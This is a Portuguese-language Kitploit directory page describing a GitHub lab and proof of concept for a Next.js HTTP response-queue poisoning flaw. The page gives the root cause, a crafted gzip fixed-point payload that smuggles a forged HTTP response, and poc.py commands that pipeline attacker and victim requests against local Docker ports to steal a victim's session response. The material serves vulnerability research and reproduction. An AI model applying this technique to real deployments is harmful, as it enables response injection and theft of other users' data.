Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-119348 — Docker dual-lab e PoC diferencial autónomo para CVE-2026-119348, uma falha de envenenamento da fila de respostas por enquadramento comprimido obsoleto em instâncias auto-hospedadas de Next.js. | Kitploit
Ferramentas/GitHubGitHub/aheybati/cve-2026-119348
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebLabs e Prática
GitHubaheybati/cve-2026-119348

CVE-2026-119348

Docker dual-lab e PoC diferencial autónomo para CVE-2026-119348, uma falha de envenenamento da fila de respostas por enquadramento comprimido obsoleto em instâncias auto-hospedadas de Next.js.

Ver Repositório
2há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    912
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    721
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    431
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    405
  • 5

    SafeLine

    chaitin/safeline

    WAF auto-hospedado e proxy reverso que filtra tráfego HTTP malicioso, bloqueia injeção SQL, XSS e ataques de bots, com limitação de taxa e criptografia dinâmica de HTML/JS.

    355
  • 6

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    338

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-119348 — Envenenamento da fila de respostas HTTP (enquadramento comprimido obsoleto) em Next.js auto-hospedado

GHSA: GHSA-pc58-hwjq-p385 CVSS 4.0: 6.3 (Moderado) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N Produto: Vercel Next.js (next), auto-hospedado (next start)

Este repositório contém uma reprodução completa e determinística (laboratório docker + exploit autónomo) da vulnerabilidade de injeção e divulgação de respostas entre clientes corrigida na versão de segurança do Next.js de novembro de 2026. Não existia nenhum PoC público no momento em que este laboratório foi criado (verificado em 2026-11-20: pesquisa de repositório/código no GitHub pelos ids da CVE e da GHSA → 0 resultados).

Resumo da vulnerabilidade

O fetch do Node (undici) descomprime de forma transparente um corpo com content-encoding: gzip, mas preserva os cabeçalhos originais da resposta, incluindo content-length: <compressed-size>. Quando uma aplicação Next.js auto-hospedada devolve esse Response upstream obtido por fetch inalterado — a partir de um route handler do App Router, de uma entrada da cache de fetch ou de um middleware do runtime Node — as versões vulneráveis do Next reencaminham o enquadramento comprimido obsoleto para o cliente enquanto transmitem o corpo mais longo e descomprimido:

HTTP/1.1 200 OK
content-encoding: gzip          ← forwarded
content-length: 70              ← framing of the COMPRESSED body (stale)
                                ← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
      └─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘

O Node.js grava bytes do corpo além do Content-Length declarado sem qualquer erro e mantém a conexão keep-alive aberta. Qualquer proxy reverso HTTP/1.1 que enfileira requisições em pipeline em uma conexão de backend compartilhada (a pré-condição indicada no advisory — por exemplo, HAProxy http-reuse always, vários proxies baseados em Node.js) demultiplexa as respostas do backend estritamente pelo enquadramento declarado. Os bytes excedentes são, portanto, interpretados como a próxima resposta na fila:

  • o cliente enfileirado logo atrás do atacante recebe a resposta forjada pelo atacante (injeção de resposta), e
  • a resposta real da vítima é deslocada uma posição e é entregue à próxima requisição do atacante (divulgação entre clientes).

Versões afetadas

BranchVulnerávelCorrigida
16.x (Active LTS)>= 16.0.0, <= 16.4.416.4.5
15.x (Maintenance LTS)<= 15.5.2815.5.29

Causa raiz (arquivo:linha)

Em vercel/next.js na tag v16.4.4:

  • packages/next/src/server/send-response.ts:24-70 — sendResponse() acrescenta todos os cabeçalhos do Response do handler (apenas x-middleware-set-cookie é ignorado) e então faz pipe do corpo decodificado. Os cabeçalhos content-length / content-encoding / transfer-encoding repassados descrevem o corpo codificado que o undici já decodificou.
  • packages/next/src/server/next-server.ts:2009-2012 — o loop de resposta do middleware ignora apenas content-encoding, ainda copiando o content-length / transfer-encoding obsoletos.
  • Em contraste, o sandbox do Edge-runtime (packages/next/src/server/web/sandbox/sandbox.ts:23) já removia esses três cabeçalhos — a falha estava nos caminhos do Node-runtime.

Correção (v16.4.5, commit 2842833, 15.x: 848ec29): ambos os caminhos de repasse agora descartam content-length, content-encoding e transfer-encoding (FORBIDDEN_HEADERS), de modo que o Node.js enquadra o corpo decodificado corretamente com transfer-encoding: chunked.

Pré-condições (todas necessárias, conforme o advisory)

  1. Next.js auto-hospedado (next start) — não afetado na plataforma Vercel.
  2. A aplicação retorna um Response buscado e influenciado pelo atacante sem alterações (qualquer padrão de repasse/relay: return fetch(url)), diretamente ou através do cache de fetch.
  3. Um proxy reverso HTTP/1.1 à frente que enfileira requisições em pipeline em uma conexão de backend compartilhada e confia no enquadramento declarado pelo backend.
  4. O atacante controla a resposta upstream maliciosa e consegue colocar ≥ 2 requisições na conexão de backend compartilhada (a dele + a da vítima).

Sem autenticação, sem interação do usuário.

Lab / reprodução

lab/
├── app/                 # the victim Next.js app (source shared by both stacks)
│   └── app/
│       ├── proxy/route.ts          # GET /proxy?u=<url>        → return fetch(u, {cache:'no-store'})
│       ├── proxy-cached/route.ts   # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│       ├── api/secret/route.ts     # victim's private JSON (user alice + VICTIM_SECRET…)
│       └── page.tsx                # home page (HOME-PAGE-MARKER)
├── upstream/server.py   # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py   # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile      # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml     # project cvelab_cve-2026-119348_vuln  → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml    # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/              # node-level experiments backing the analysis

O payload upstream malicioso (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected" com n escolhido de modo que n == len(gzip(P)) (um ponto fixo, n = 70 aqui, decodificado = 116 B). Portanto, a aplicação emite uma resposta cujo Content-Length: 70 declarado cobre apenas o prefixo A, e os 46 bytes finais são uma resposta HTTP forjada completamente formada.

Execute-o

# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh

# 2. run the exploit against both
python3 poc.py \
    --url         http://127.0.0.1:8080 \   # proxy → VULNERABLE app (16.4.4)
    --fixed-url   http://127.0.0.1:8081 \   # proxy → PATCHED app    (16.4.5)
    --upstream    http://127.0.0.1:9099 \   # attacker origin (host-mapped port of lab/upstream)
    --next-url    http://127.0.0.1:3000 \   # optional: direct app framing probe
    --next-fixed-url http://127.0.0.1:3001 \
    --out poc_result.json

# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.

# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy

poc.py é autónomo (Python 3, apenas biblioteca padrão). Cada ronda coloca três pedidos em fila na ligação de backend partilhada:

#1 attacker  GET /proxy?u=…/gzip?delay=0.4     ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim    GET /api/secret  (Cookie: session=victim-alice-7f3a9c)
#3 attacker  GET /                                       ← collects the displaced response

Saída esperada

Baixar ferramenta